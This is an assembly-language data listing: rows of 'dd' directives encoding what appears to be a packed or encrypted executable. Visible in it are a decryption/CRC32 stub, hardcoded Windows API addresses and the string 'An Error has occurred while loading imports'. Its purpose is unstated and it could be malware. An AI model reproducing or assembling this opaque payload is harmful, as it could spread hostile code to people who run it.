		dd 0C003130Fh, 528D9C19h, 941A90A7h, 0D1215787h, 43AFD895h
		dd 8579D42Fh, 0C003130Fh, 528D9C61h, 978090A7h,	0D1215787h
		dd 43AFD8EDh, 5012B8C3h, 0CEDF152Ah, 0A86CD24Eh, 458AFD4Ah
		dd 0D5F251A2h, 604467C0h, 0A8ED96A4h, 458A152Ah, 67A02429h
		dd 0BAB496E3h, 54A1D5ADh, 0C6CB152Ah, 0BA415564h, 0CE75EAD5h
		dd 9D3AAE63h, 848C0A22h, 11AB5342h, 55FFEA22h, 0ABA4245Dh
		dd 0B9CF9C3Ah, 0A8EDDAC3h, 4586D7E3h, 0D744DAF7h, 0CEEAE9EEh
		dd 292359D7h, 0B9CFD226h, 54A851A2h, 4162AD6Ch,	660351A2h
		dd 0EE27BFEAh, 0E75BDB2Fh, 9475130Fh, 0D9020112h, 6039E6A0h
		dd 0EC79AEA4h, 41AE51A1h, 0A722DC09h, 0BA8C3099h, 0DF103773h
		dd 0C821732Ah, 711BA228h, 0FD5BEA2Ch, 508C152Bh, 0B6009881h
		dd 0ABAE7411h, 0EFD2A5FBh, 0DDA42C89h, 0CEEBE957h, 9661ADE7h
		dd 0CEDF1522h, 0A86CD24Eh, 458AFD4Ah, 0D5F251A2h, 604527C0h
		dd 5CDDDAA4h, 828668A1h, 54A8ADE7h, 0BACC152Ah,	4BBEC830h
		dd 0CE529E2Ch, 9783FC69h, 0EFE2A5B9h, 0D9F9FA31h, 6039E6A0h
		dd 0D79AEA4h, 2320949Ah, 328C551Ah, 6E218481h, 29215DDFh
		dd 174D6h, 5C6A985Eh, 0A901402Ah, 34549521h, 458A15C2h
		dd 0BE290BA2h, 43AFDAA3h, 0DFA02429h, 4D1957h, 54A8515Eh
		dd 0D775532Ah, 52B7473Bh, 0CE19CDA1h, 979BFC69h, 0EFE2A5B9h
		dd 0D9F9FA31h, 6039E6A0h, 0D79AEA4h, 2320949Ah,	328C651Ah
		dd 6E218481h, 29215DDFh, 174D6h, 5C6A985Eh, 0A901402Ah
		dd 34549521h, 0CE8260A1h, 116F5DDFh, 458A15D6h,	953BFDA2h
		dd 97B91DC9h, 0DE049191h, 454A38F2h, 0A82851A2h, 5E0E1AD5h
		dd 0EDA851A2h, 458A1523h, 862DA055h, 45869025h,	0A32851A2h
		dd 8E4B7332h, 972337AAh, 38A1BE4Ch, 0A8D5D8AEh,	0B9CF9E4Bh
		dd 54A0936Bh, 0C6669E7Fh, 0DFC8AD66h, 38011D5Fh, 0A8ED96AEh
		dd 458A152Ah, 0B769C20Eh, 76582622h, 8C22FD62h,	458AD507h
		dd 0AB54D1A2h, 45939125h, 5D1151A2h, 0B28A152Ah, 5B7AD453h
		dd 458A1FAFh, 5610E0A2h, 0EF4B93E2h, 7F039191h,	38031957h
		dd 1123305Eh, 4D48DCD6h, 0B82304A2h, 2576D1A9h,	0DFA02429h
		dd 4D1957h, 54A8515Eh, 9D00B92Ah, 0D4A7B222h, 860085E1h
		dd 0A722DC08h, 0BA8C3099h, 0FEF8E173h, 0F6799FA7h, 85575787h
		dd 6E20D6A0h, 29215DDFh, 174D6h, 5C6A985Eh, 0A901402Ah
		dd 34549521h, 0CE8260A1h, 116F5DDFh, 458A15D6h,	54AFE9A2h
		dd 0D775152Ah, 52B7596Bh, 0C8204526h, 711BA228h, 0F55BEA2Ch
		dd 949BFB2Bh, 2E853186h, 50AC5962h, 0EFAEA580h,	0DDA42C89h
		dd 0CEEBE957h, 9661ADE7h, 0CEDF1522h, 0A86CD24Eh, 4DFF9E4Ah
		dd 93A42C29h, 458AE96Fh, 0FE0451A2h, 531387D5h,	8C2357BDh
		dd 0EF491786h, 0E75BDB2Fh, 9475130Fh, 0BD28E9C4h, 8600BE4Ch
		dd 58D57A08h, 247668A3h, 9D541429h, 108A1DE8h, 902BBD29h
		dd 300175D6h, 58D5DAAAh, 457650EDh, 0F8A851A2h,	0DC18EA80h
		dd 0DFAE4EB4h, 8558B9E2h, 0A732DC08h, 0BA8C3099h, 94103771h
		dd 0CF2173E3h, 2983FB63h, 0B9F79C26h, 0A8EDDAC3h, 4582D7E3h
		dd 0D744DAF7h, 0CEEAE9EEh, 292359D7h, 0B9CFD226h, 54A851A2h
		dd 0D775BF86h, 52B7473Bh, 7726DDA1h, 0CE25FB63h, 43AFA6D9h
		dd 0ECCE825Dh, 0EEECE4AAh, 7F029028h, 38031957h, 1123305Eh
		dd 4D48DCD6h, 0B82304A2h, 2576D1A9h, 0DFA02429h, 4D1957h
		dd 54A8515Eh, 7732732Ah, 0D903376Bh, 6039E6B0h,	327BAEA4h
		dd 234B9592h, 0FE04FD09h, 0CC866801h, 0DFC9ADDFh, 8743E96Fh
		dd 0DFFD51AAh, 0B94E96C6h, 5CDDDAC2h, 828668A1h, 54A8ADE7h
		dd 0FDEC152Ah, 0FFCEB824h, 0F6798FA7h, 87575787h, 320A09Ah
		dd 0CE25FB0Eh, 43AFA6D9h, 0ECCE825Dh, 0EEECD8ACh, 0DDA42C89h
		dd 0CEEBE957h, 9661ADE7h, 0CEDF1522h, 0A86CD24Eh, 458AFD4Ah
		dd 0D5F251A2h, 60584FC0h, 0A8ED96A4h, 458A152Ah, 0DFA02429h
		dd 79261957h, 1E2C5E91h, 798A152Ah, 162C5E89h, 798A152Ah
		dd 492C5ECAh, 798A152Ah, 382C5E13h, 798A152Ah, 5C2A5EF2h
		dd 798A152Ah, 6B2A5EFAh, 0AC8A152Ah, 54A851D6h,	0BA8660D5h
		dd 0CE2559D7h, 43AFD8A5h, 3232DCF1h, 0BA8C30E4h, 0A8EDD871h
		dd 458A42C3h, 58DDAEA2h, 0C88260D5h, 7165CE38h,	0DF07462Ch
		dd 528D9FC4h, 3C6D5h, 5492B85Eh, 3075152Ah, 5CDDAEAEh
		dd 88218FA7h, 0D9FB5787h, 604473B0h, 0DD7BAEA4h, 5863E96Fh
		dd 0ABA851A2h, 3075195Fh, 0E332DCAAh, 168C30E7h, 9ACECB2Fh
		dd 9675130Fh, 0BD54142Bh, 458A152Ah, 0A8EDDAC3h, 4582D7E3h
		dd 3044BAh, 978D8D00h, 8B0625D3h, 1F11AD9Dh, 5D8D8906h
		dd 8B061F0Bh, 1F0DB5B5h, 0C585C706h, 70061F20h,	66000065h
		dd 85C7D38Bh, 61F137Dh,	0
		dd 19CCB866h, 3291B5FFh, 6A061Fh, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 180424h, 52420000h, 0FDCEFAC3h, 85893E52h
		dd 61F2005h, 8018589h, 95FF061Fh, 61F2D59h, 95FF006Ah
		dd 61F1D45h, 4CEBC08Bh,	8B1D5EB1h, 47F80B2Ah, 1877D4F1h
		dd 9C53D2BAh, 73A08913h, 0D68B99D6h, 82FB5941h,	96BA1429h
		dd 0C98CA7AAh, 5048C203h, 71CB0BFBh, 8A95C9A6h,	1A2960B0h
		dd 2B3EEBD7h, 421E3578h, 49B0A9C7h, 50D327FEh, 0D97E01DCh
		dd 8C27D1C4h, 3BE9h, 0BD8B6000h, 61F24A5h, 3304EF83h, 0BBC18BC9h
		dd 0EDB88320h, 0BE04C783h, 8, 0D21BE8D1h, 0C233D323h, 0F1850F4Eh
		dd 41FFFFFFh, 0F9810789h, 100h,	0FFD3820Fh, 0C361FFFFh
		dd 7E8C88Bh, 0DD000000h, 0C0A36D01h, 0C38B2039h, 0B70F535Ah
		dd 0C2815EC6h, 6764h, 33F78B66h, 45858BFFh, 0FF061F31h
		dd 852B1734h, 61F09A9h,	0C5B58959h, 81061F05h, 0A512DEE9h
		dd 6870F3Ah, 8B000000h,	1F0FD5B5h, 33F18106h, 0E86F4A20h
		dd 0Eh,	0D3CE78BEh, 0DE486089h,	661A5E24h, 95891B85h, 61F10E1h
		dd 0DFF1815Eh, 3379EC2Dh, 1F273D9Dh, 3A0C8906h,	11FDB58Bh
		dd 858B061Fh, 61F1899h,	475AEF81h, 0C7811571h, 15714756h
		dd 7ECE8166h, 34FF81D1h, 0FFFFF99h, 0FFFF8685h,	0E901B7FFh
		dd 89h,	53CA3775h, 72E9168Fh, 8E05FCAEh, 0A920DFCAh, 0C940C1E5h
		dd 0ECBAC37Dh, 0D9DA9E15h, 0ADFBBF36h, 8E19DD54h, 0B831FA71h
		dd 0ADCD340Ch, 1C8FC719h, 99B6445h, 758A1FD3h, 0A17F4EFEh
		dd 5DA11FD3h, 0A51F95E9h, 1FD7A15Dh, 197C6A6Dh,	33520h
		dd 0A7BE0000h, 9A674540h, 0AC535408h, 0BF42661Ah, 0D53A792Dh
		dd 0EA178F43h, 0FF02A458h, 0FF0B96Dh, 20E1C97Dh, 34CBDA8Eh
		dd 0D06886A2h, 0E90625D4h, 0FFF9A82Eh, 0D962774Eh, 0D54AB810h
		dd 0C5030625h, 10E8h, 0AF8D800h, 881DDDF6h, 56A7246Dh
		dd 530C9B36h, 0CE9D6h, 0C0CC0000h, 51780708h, 70D90241h
		dd 0B95ABA7Eh, 352E59D2h, 6BEFC281h, 880F0000h,	6, 2FB19589h
		dd 0FF33061Fh, 0FF66C480h, 0BD011734h, 61F1A5Dh, 6BF3815Bh
		dd 8140F4C7h, 8C01E3D6h, 72F38172h, 11B2DE8h, 1F24C585h
		dd 9FC38106h, 0F39BFD0h, 8B53C1BFh, 3A048FC6h, 2E018D09h
		dd 83F8061Fh, 8D8B04EFh, 61F0D2Dh, 94C0FF81h, 850FFFFFh
		dd 14h,	1331B58Bh, 1DE9061Fh, 0F3000000h, 11758AC8h, 73B89833h
		dd 98E9C18Bh, 4AFFFFFFh, 7E5C70Eh, 3D57FA8Fh, 658A5876h
		dd 578704EBh, 0DCE92D87h, 6800000Dh, 625D844h, 0F9A755E9h
		dd 0D91868FFh, 4BE90625h, 68FFF9A7h, 625D9FBh, 0F9A741E9h
		dd 0DA7F68FFh, 37E90625h, 68FFF9A7h, 625DDD4h, 0F9A72DE9h
		dd 0E16E68FFh, 23E90625h, 68FFF9A7h, 625E283h, 0F9A719E9h
		dd 31D0DCFFh, 50AFF6BAh, 6C9515D9h, 877831F5h, 0A75A4C10h
		dd 232AE430h, 43077E83h, 64289F70h, 8246BD44h, 9A63DA25h
		dd 0CB9D7521h, 0F83019ADh, 0F7BC7C85h, 6244F418h, 4166269Fh
		dd 60842CBEh, 678E1ACEh, 842CBE43h, 350269E0h, 4A3BE760h
		dd 8F15F0B2h, 2C1AD006h, 0D96DD31Eh, 0F354653Dh, 0DC258125h
		dd 92CBEFA3h, 0D8AC4CDEh, 3E25F354h, 59A601C1h,	80FB1FC7h
		dd 0F59CDD5Eh, 91510974h, 2FC8EC15h, 3Eh, 0F495A2BCh, 2DA64AB5h
		dd 34C63B6Dh, 38DC3380h, 0EAEF9B14h, 5715F082h,	0C9ED1297h
		dd 0AA4ADC90h, 25F2C2D6h, 0B446C9EAh, 0C557AA00h, 46E7F786h
		dd 0C67569E8h, 97463F3h, 161Ah,	1CDAA700h, 4D000009h, 65111B8Dh
		dd 1FD3A18Dh, 36C86C20h, 45076A8Eh, 570B9D62h, 110A2D50h
		dd 1F1ADDC8h, 0CD79027Bh, 1FD347F5h, 39B0D488h,	0B73065D2h
		dd 0F04EF60Bh, 24834315h, 0CA7EB7DBh, 4DC49838h, 0AB2A25F2h
		dd 0ECB10833h, 515C0975h, 0D3000000h, 0DA6C9513h, 0AF3E2BB0h
		dd 54F880F0h, 0DC000FA4h, 0EEBC7C79h, 0BD619E07h, 9CF14699h
		dd 0D9DA9A23h, 0D1761236h, 3E15F080h, 0C03109B5h, 10C425F2h
		dd 6DFFB3ECh, 0F2C0F9CDh, 0FEE05F25h, 73BF245Ah, 2BF1CD3Bh
		dd 9287107h, 0B8C50974h, 52000000h, 17916245h, 0DCD46EAh
		dd 0B9565DA6h, 0B7DB7F27h, 0CC357125h, 0DE21863Ah, 0E40F984Ch
		dd 6AE40CFh, 473BEB62h,	5B1FD3A6h, 7A3AB34Ch, 973FD130h
		dd 6F38FC73h, 90A7FE90h, 9D7CC17Bh, 7519F51Bh, 0F8D750FCh
		dd 0AC6C15F0h, 0EA6105FCh, 68E1B483h, 70E5E432h, 0A5C90503h
		dd 0DD48802Ch, 27DB1C14h, 49B8EEAEh, 69980ED2h,	66C30602h
		dd 0C8E77DFAh, 0B19h, 0DF56AB01h, 0FE758A1Bh, 1A91703Ah
		dd 35AC5356h, 55CC3571h, 60464F09h, 4D662AA1h, 21874BC2h
		dd 2A569E0h, 44BD86FDh,	0ADC9C098h, 0A81B5319h,	6F47F37Ch
		dd 21FD3A1h, 2C7A2A4Eh,	0D9A5ED5h, 0A2047BF2h, 0FE870095h
		dd 0D3A17A52h, 33590D1Fh, 0E3599F9Dh, 5CD5F921h, 0EFE40BB0h
		dd 7204B815h, 0F223FED2h, 0F9E56425h, 75C27742h, 9B9609h
		dd 45230000h, 570B9D62h, 8020B24Fh, 1FD3A68Ch, 0C7EC07A0h
		dd 2F8CB648h, 7473AB9Dh, 8C1DCD71h, 9458CF73h, 0DD5AEC13h
		dd 6CD0A854h, 77231FD4h, 1FD46C9Fh, 91457E32h, 781D1A6Dh
		dd 7CDA53FFh, 0BB6F15F1h, 375ADD44h, 0E8AF12BEh, 0A85C1C14h
		dd 0CA376F2Fh, 0EA178F53h, 663F7983h, 3F5EF4FAh, 0A45h
		dd 0B827F2Dh, 2AA15E47h, 46BD4466h, 61D82782h, 81F8099Dh
		dd 34727B35h, 219256CDh, 0F5B377EEh, 0D6D1950Ch, 70E9B229h
		dd 0ADC8ECC4h, 0D4477F19h, 29A06145h, 46BD4265h, 47F37CCFh
		dd 1FD3A16Fh, 7A2A4E02h, 0C340D22Dh, 0C8024A8Dh, 2DDEBD1Ah
		dd 1A5CB78h, 5F0F3318h,	7E3EB748h, 3EB5D928h, 0FDBD6520h
		dd 1BC355AAh, 0FE93A4F7h, 5C20D985h, 0F5B515F0h, 94BE50B1h
		dd 0FC3363A7h, 0B458FC12h, 0D62B7B3Bh, 0E5789C44h, 356E5645h
		dd 1376C1B7h, 34CBDA9Ah, 48DA2584h, 7A037CA0h, 6515ECBAh
		dd 0FB97BB44h, 0C5D4A276h, 0BF506323h, 0D1E2A21Bh, 0E004AC3Eh
		dd 4D40F74Eh, 1BC528D4h, 0BE72CBF9h, 0AAFCBC45h, 2A65B4Bh
		dd 86792EDEh, 0A55A4D0Dh, 0D0476B13h, 0FD649B0Ch, 4A0202F9h
		dd 62AFCE64h, 4A000009h, 64289F62h, 8347BE41h, 9F63DA27h
		dd 0BA7EF50Ah, 529E15ECh, 0F0119598h, 11FEB579h, 2FD2D69Ah
		dd 4CB3F4B8h, 0E7930CD5h, 19ADC90Fh, 45F76AA2h,	0EC159162h
		dd 0D85FB648h, 0BF903CB5h, 4415F0A7h, 51571790h, 0ECAC39B0h
		dd 6E1E42BDh, 9535C73Ah, 25F2A7BDh, 0F2B819EDh,	13AD8A25h
		dd 348C36DDh, 4A06E52h,	25F3722Ch, 0EE670BBFh, 10792142h
		dd 8012C61Ch, 0BD24DBCCh, 0FA196F6Fh, 0DE65841Ah, 0C6000008h
		dd 0E0A41BE6h, 0FFC33AC5h, 1BDF56ABh, 36FA718Eh, 0CE1A9170h
		dd 6C951114h, 8D8231F5h, 0AB565216h, 0C8377034h, 630F8851h
		dd 19ADC78Bh, 0A273E61Eh, 0FE870095h, 0D3A17A52h, 0ED14961Fh
		dd 0BA7AB35Bh, 0DB8315ECh, 0EE9A1337h, 15F0A8CDh, 0BC45BE72h
		dd 0C153AEFCh, 0A7A57D19h, 843825F2h, 8B1ACE60h, 0B070FD74h
		dd 38E80C03h, 8300926Dh, 891BE4C3h, 0C96ABDE1h,	8D39F1B8h
		dd 25F2A7B5h, 5EF09448h, 0A75D35E1h, 3CF025F2h,	0CF7BF498h
		dd 25F2A83Fh, 19E8C282h, 82BBDF87h, 2DAA3CCEh, 9F71DBF7h
		dd 84A89480h, 0C383D509h, 4BFB1FF0h, 7E2EA55Ah,	25F2CBAAh
		dd 37E36CF5h, 25F2CB5Fh, 0CAA23EF2h, 5D25F2CBh,	0AC8430A9h
		dd 3F25F2CBh, 1F14678Bh, 8945F16Ah
		dd 2425F2CBh, 7035F970h, 915DFD8Fh, 0B725F2CCh,	2A7BA638h
		dd 0B9A5ED5h, 46F27BF4h, 25F2CC6Eh, 0A7E01F8Ah,	9D3DCFF3h
		dd 25F2CCF9h, 2F7A7B2Dh, 0F2963ED0h, 2FDAC60h, 7F5FDE70h
		dd 3DA120AEh, 0C73EC1E4h, 0D32E7A3Ah, 0B2D75CAFh, 0D42D7939h
		dd 0FD769A42h, 0F2CC7C51h, 0DC550925h, 0E0728D1Ch, 0E2821438h
		dd 91D1F265h, 0D8805EDDh, 31CBA34Fh, 0AA5E9A54h, 0C8A9F086h
		dd 9B4475EBh, 0D1000001h, 870095A2h, 8B6A3EFEh,	0AD55E728h
		dd 0A849E509h, 0D15F0AEh, 0AF00D884h, 0A75325F2h, 25F2AECFh
		dd 0C175AE62h, 37B0649Dh, 58CF3077h, 5AEC1394h,	0B71B48BAh
		dd 6777069Ch, 9B12EDBAh, 9D2FD0D7h, 29A0ED46h, 29BB4465h
		dd 54CD3275h, 0C7EB1694h, 0F1B8C50h, 395A8B63h,	0C66A1EADh
		dd 0D1729434h, 3A617C1h, 0F1B66AFCh, 486DC88Ch,	8C301BCAh
		dd 0E3FB76FAh, 29B5444Ah, 0D950AFF8h, 0F46D9215h, 678B7634h
		dd 0CCB57ED5h, 3B7828E7h, 2EB730D4h, 0C43EAA82h, 65893D1Fh
		dd 3E6840ECh, 32BB1FC4h, 0C43EAE86h, 698D411Fh,	43037C30h
		dd 0EC139263h, 0EA0EB25Ah, 35F7AF73h, 0C43EB189h, 0EC90441Fh
		dd 0AF7B373h, 1EE1C478h, 1C40E48Ch, 8D00338Ah, 3E8C6814h
		dd 73271FC4h, 0E6F38FCh, 6A822306h, 6BE4885Eh, 788722E2h
		dd 0CAA23EE6h, 5D1FC443h, 3FF385A9h, 98219A67h,	0C44414ECh
		dd 0CFF3A71Fh, 0B22CAB3Dh, 50C7386Fh, 6BE41B8Ch, 0DD01FEABh
		dd 4A3FF44Bh, 434525D1h, 34E81FC4h, 51AEF9BDh, 749B18D8h
		dd 1B8A3AE2h, 7A2EC0E4h, 9A5AD32Eh, 3CCEF20Dh, 0B36E70FBh
		dd 56ABFFF4h, 1781CC4h,	3956A3Dh, 890287ACh, 9A654000h
		dd 43F6DA76h, 0E1A11FC4h, 0A83AC7h, 2258E55Ch, 8DD8D45Ch
		dd 3BEB0F33h, 0AB02946Dh, 38C0588h, 0C49E7F57h,	3A5E121Fh
		dd 9E6D15C1h, 0AAE01FC4h, 0F0E8EC6Ch, 1AE40AC6h, 5F0E164Bh
		dd 2FEF680Ch, 64F7037Ah, 72BB8283h, 70943CCEh, 624582F9h
		dd 94A7161Bh, 0C2661054h, 3E53E44Bh, 0F00819C5h, 0D98D15EFh
		dd 0F908A060h, 734BF780h, 625F22Eh, 0F3B72E52h,	63BA4CB5h
		dd 1248C1D4h, 0ACFC6870h, 0B12A4E47h, 0F913405h, 7305B91Ch
		dd 11A0FFD3h, 0C2C7702Ch, 0A77C9D49h, 6D21222Eh, 0AA8027DBh
		dd 30A726FEh, 6105B932h, 7ABD16FAh, 98B74DE4h, 589h, 4FC63B71h
		dd 6EE51A8Bh, 8A0100AAh, 0A51CE3C6h, 0C53CC5E1h, 0F0B6BF79h
		dd 0DDD69A11h, 0B1F7BB32h, 9215D950h, 0B42DF66Dh, 0ADC43008h
		dd 188BC319h, 627E95A2h, 60E10668h, 0D1639C0Bh,	68E18529h
		dd 0D2AA56DFh, 651FD371h, 0EB458BB1h, 0D20CAAC1h, 5E4912AEh
		dd 0ABE15F0h, 845C0891h, 1725F25Eh, 0DAD3F63h, 25F25E38h
		dd 7EBD21A0h, 975FB3Bh,	112D2h,	95595F00h, 1FD3A1h, 4966940h
		dd 0A1E8C05Ch, 0C77B1FD3h, 0B575EE23h, 3CEC10F1h, 901D946Bh
		dd 0D1C4DF5Ah, 0EF9729D6h, 0D73DA5C9h, 0EE808127h, 66CF2246h
		dd 0C0EAAA23h, 0F8A41D41h, 1FD2A518h, 0C17507BBh, 0C09844E6h
		dd 531FD2A4h, 58EA1793h, 575C0CB0h, 659B14B8h, 0DA103C62h
		dd 45BCE014h, 802657DEh, 0A347EF81h, 0C5E1A12Ah, 8902AA3Ch
		dd 0D2FA05DDh, 0C0E4981Fh, 0D2F94424h, 0A133E71Fh, 17EF9B24h
		dd 0AA1FD2FAh, 8522D2F6h, 999C037Ah, 0F99F7723h, 7E321FD2h
		dd 0D52B61DAh, 0F7A59107h, 0F503C725h, 0D0B2C8CFh, 1DD3AB57h
		dd 0B2661FD3h, 0B569158Eh, 401FD31Dh, 865AFA8Ch, 0BC1FD35Dh
		dd 58DDA13Dh, 7737C039h, 1EE3C330h, 0C740E48Ch,	0D35D431Bh
		dd 0FE22D61Fh, 0D35DAE62h, 0C85391Fh, 764EFA83h, 91FD35Dh
		dd 5DE1B955h, 0ACFD1FD3h, 0E019C153h, 6291082Ch, 10Bh
		dd 1A8C4CD5h, 11AD55E7h, 1FD35D39h, 0E11745DFh,	2760F45Ch
		dd 0A2EC4F73h, 0FE870095h, 0A28BD6C8h, 10344006h, 0F0925374h
		dd 0B244F815h, 654EB5FEh, 4FE284AAh, 12F9148Eh,	0A190F76Eh
		dd 0E7C36FE8h, 4225F1DCh, 0B4D82782h, 9535C77Bh, 25F1DCC6h
		dd 437A726h, 9757DB5h, 6B43EF78h, 0FE25F1E4h, 0F40B9A4Ah
		dd 0A137D0h, 0A2C40000h, 0D581FA8Fh, 1FD3A1FDh,	0CD4ADC90h
		dd 0A1C09844h, 9F531FD3h, 1BE8CB7Bh, 30E4768Bh,	3EE28679h
		dd 9063CC5h, 0E1F46DB2h, 0E0845CF8h, 2BD71FD2h,	1FD2E053h
		dd 45F932E6h, 0EE43AA21h, 0D276229Bh, 7D1FD2E0h, 4A3FAC47h
		dd 0FFA35D25h, 1DE4C686h, 2DBFE38Bh, 0D380B98Dh, 6E70EF1Fh
		dd 0EF682110h, 0FF02A666h, 5129C56Dh, 0F71FD380h, 36D19285h
		dd 0C97DB654h, 6DA32CA5h, 1BED716Dh, 19B5D9E8h,	1FD2F875h
		dd 33F36C20h, 0F1688C75h, 572FDB64h, 0EA1FD2F8h, 3911BD36h
		dd 0CC1FD2F8h, 7C91F418h, 0A16F47F3h, 4E021FD3h, 0D22D7A2Ah
		dd 0A603C340h, 0FB1FC759h, 2CA35C4Bh, 0A61F72C5h, 0A199711Dh
		dd 782C1FD3h, 8D1FE2C8h, 9C48C1E5h, 15F0A987h, 5EE76014h
		dd 0A85129D5h, 30E425F2h, 0F2A8BC94h, 779B4F25h, 0A87145E5h
		dd 58D725F2h, 41E4B586h, 38090974h, 80000000h, 0BADEC84Ah
		dd 92EC12EDh, 0C92C50CDh, 0EB7E95A2h, 0A2578F98h, 8C38B155h
		dd 15F06FE7h, 30DFD494h, 0C052F69Eh, 0F2AF4C20h, 0AB33B225h
		dd 744EC990h, 0D6E409h,	7C710000h, 0C09A3446h, 6B1B3ED1h
		dd 0F2A2C63Bh, 976A3EB5h, 40447AF3h, 32523015h,	9B731F98h
		dd 2E1FD325h, 10C4567Ah, 32F26B96h, 54FC8E81h, 61219E30h
		dd 0E696BA47h, 0F8AC3EC1h, 29D950AFh, 1FD32A35h, 28A15E49h
		dd 9EC23D68h, 0BB446327h, 3065D229h, 3EE20BB7h,	0A35715F0h
		dd 0C33E6A2Ah, 0EE658931h, 64DDB087h, 13ADDDB8h, 4DC67A1Ch
		dd 63A78EC4h, 0C3E8B523h, 4B6FA013h, 7FF60B9Bh,	0A90AEBBBh
		dd 0B95BC266h, 0A4FA67E8h, 1EFEF0Eh, 0D5D70000h, 0B4F1B52Ch
		dd 9A10D44Bh, 7D2CF067h, 5F470B82h, 25DF2BA2h, 47B8620h
		dd 259C7340h, 43BA4761h, 60D7287Fh, 9A721E97h, 2D19ADC0h
		dd 614582F5h, 426529A0h, 30B946BDh, 0D3A1AC84h,	0DB8B3F1Fh
		dd 0AF1236CBh, 870095A2h, 0F08136DBh, 8423E315h, 7E35E97Bh
		dd 0D049ED91h, 0D96B9610h, 0AD0329AFh, 963A103Ah, 6C40E072h
		dd 8025F2CBh, 9549DB26h, 0B55DEF10h, 584FA405h,	0C96D15A7h
		dd 736BF637h, 1DD5CBAh,	746A7F3Ah, 0CA8E09h, 451B0000h
		dd 570B9D62h, 5931DD4Fh, 0EC1FD3A1h, 0DF228838h, 6F01A54Dh
		dd 0D3A6DBCFh, 4166261Fh, 0B842CBEh, 0D3A6875Fh, 42661A1Fh
		dd 73EA1592h, 7507F8AFh, 0FB74191Eh, 0F0BB264Fh, 6EE79B15h
		dd 0E105FCAEh, 961DDD6Ah, 0C63FE779h, 0F2B9421Ah, 0FD21D525h
		dd 0ABFC8DAAh, 761AC254h, 271151FDh, 0B41C14h, 22DFC787h
		dd 38BDE9A9h, 5901936Eh, 5CA505B5h, 87FE22CAh, 0B71EE3C3h
		dd 0FA677A5Fh, 0DA4160F6h, 0C2000000h, 0DCA017EAh, 0FBBF36C9h
		dd 17DB52AFh, 32F66D92h, 0CA168D74h, 68990D10h,	89862DF1h
		dd 0A75A4E12h, 0C43B6C30h, 5F0B844Dh, 19ADBF87h, 456FE21Ah
		dd 0BCD71E61h, 1A3B9A53h, 6C3BFF76h, 4FE11E87h,	158C03A7h
		dd 0BEABC7Ch, 9DC1659Ah, 0B345BAEDh, 5B4BA8FFh,	0C86C14A6h
		dd 0B23BC451h, 0D3A12E06h, 710DC11Fh, 1FD3A199h, 154782Ch
		dd 0FAD27E36h, 8D1FD3A1h, 6C9BB3D9h, 0B7F52157h, 44EE9A13h
		dd 0BF15F8B3h, 0E2C5790Bh, 0C5E2A61Dh, 3D08A83Ah, 0ED399927h
		dd 0FC13A060h, 0A0815DD8h, 0BD81F807h, 0CF8315EAh, 23AC25DAh
		dd 9B669F77h, 5A7E3251h, 27B736C8h, 10D0ADFAh, 0C0981862h
		dd 0C387FEA2h, 6A891BE4h, 11h, 6A2AA7F3h, 862EC03Fh
		dd 9F629B60h, 7CA09F98h, 9A674519h, 0AC535408h,	0BF42661Ah
		dd 0D53A792Dh, 0EA178F43h, 0FF02A458h, 0FF0B96Dh, 20E1C97Dh
		dd 34CBDA8Eh, 895286A2h, 4C281E2h, 83000000h, 148704EAh
		dd 24248B24h, 81E38953h, 4C3h, 4EB8100h, 87000000h, 895C241Ch
		dd 0BA682404h, 89000056h, 0BB53241Ch, 41AE0C00h, 3597EB81h
		dd 58533B88h, 7D05685Bh, 24890000h, 24048124h, 4, 481505Bh
		dd 0D7386E24h, 8438F3Bh, 386EBD55h, 6B293BD7h, 34FF5D08h
		dd 0C4835B24h, 2434FF04h, 4C48358h, 0F99989E9h,	449EC1FFh
		dd 0B8F19862h, 625E382h, 0E0FFC503h, 3B34CF46h,	12B7ACE7h
		dd 15606FE1h, 4F68023Eh, 5FDBF2C1h, 584BDE02h, 7A87A659h
		dd 78FAA206h, 7CEEAC27h, 15EAA5EBh, 770DF4EEh, 291A6C2Fh
		dd 0D88583Eh, 44913407h, 466B709Eh, 3010E1B2h, 7CF7B4BBh
		dd 107E0E84h, 7440540h,	5867B74Eh, 5E49D7B4h, 7F7F72A7h
		dd 376268A6h, 7D553C57h, 32A307D9h, 6C465773h, 23CB0BB9h
		dd 3F2E16D2h, 7232FF90h, 0E54E8D8Dh, 6A0625h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1A0424h, 52420000h, 3227E7C3h
		dd 0DF1F7FFCh, 0B5D8D89h, 0EB4061Fh, 0DB286BB8h, 0C585C76Ch
		dd 0C0061F20h, 6A000062h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 14042444h, 41000000h, 0F66C351h, 2388h, 10E96000h
		dd 25000000h, 0A7078D69h, 0F04C1943h, 60D167DDh, 0E964A200h
		dd 7, 5B603283h, 6130AAB9h, 137D85C7h, 61Fh, 0B52B0000h
		dd 61F1F35h, 3025B5FFh,	8D89061Fh, 61F1099h, 2D5995FFh
		dd 13E8061Fh, 22000000h, 339B9BC3h, 3B9E4E8Ah, 88DD8373h
		dd 0F5C43DADh, 0BD8B48FCh, 61F0D99h, 25BD8958h,	6A061F2Fh
		dd 4595FF00h, 8B061F1Dh, 0B36DEBC0h, 0E9C9825Bh, 33CE18EBh
		dd 5D2E6FCFh, 0BDB0FD34h, 1D76A83Bh, 0DD8906D3h, 0EA838A46h
		dd 154BDE59h, 82CBA693h, 90A0F0D9h, 0FF2348ABh,	0A9859C0Dh
		dd 1B964DC6h, 9DFF337Eh, 0ABC89AB3h, 8BFEC5A0h,	0F4230F5Dh
		dd 0EECA325Dh, 319D85D8h, 0EA613DF8h, 0A636EBAFh, 55296570h
		dd 8B9A8C42h, 0EE6F0FD9h, 0ADA3482Bh, 9BDA77B6h, 0F5C8F450h
		dd 127E9h, 765B5000h, 4EEFAC73h, 15h, 206E4100h, 6F727245h
		dd 61682072h, 636F2073h, 65727275h, 68772064h, 20656C69h
		dd 64616F6Ch, 20676E69h, 6F706D69h, 737472h, 77E7AC37h
		dd 77E75CEBh, 77E73C49h, 77F7E21Fh, 77F7E300h, 77E60000h
		dd 7, 5	dup(0)
		dd 77E7A5FDh, 2Ch dup(0)
		dd 2, 0C706E148h, 63921DF4h, 8F96A6CFh,	340A60E3h, 0B11C1311h
		dd 2D0A3735h, 2B616642h, 0F29E3572h, 321177A9h,	5790EF88h
		dd 0BF13794Bh, 13BAC2BFh, 69C69917h, 63A8E5D0h,	3213795Bh
		dd 61457156h, 321177A9h, 5790EF88h, 0BF13794Bh,	13B9F5BFh
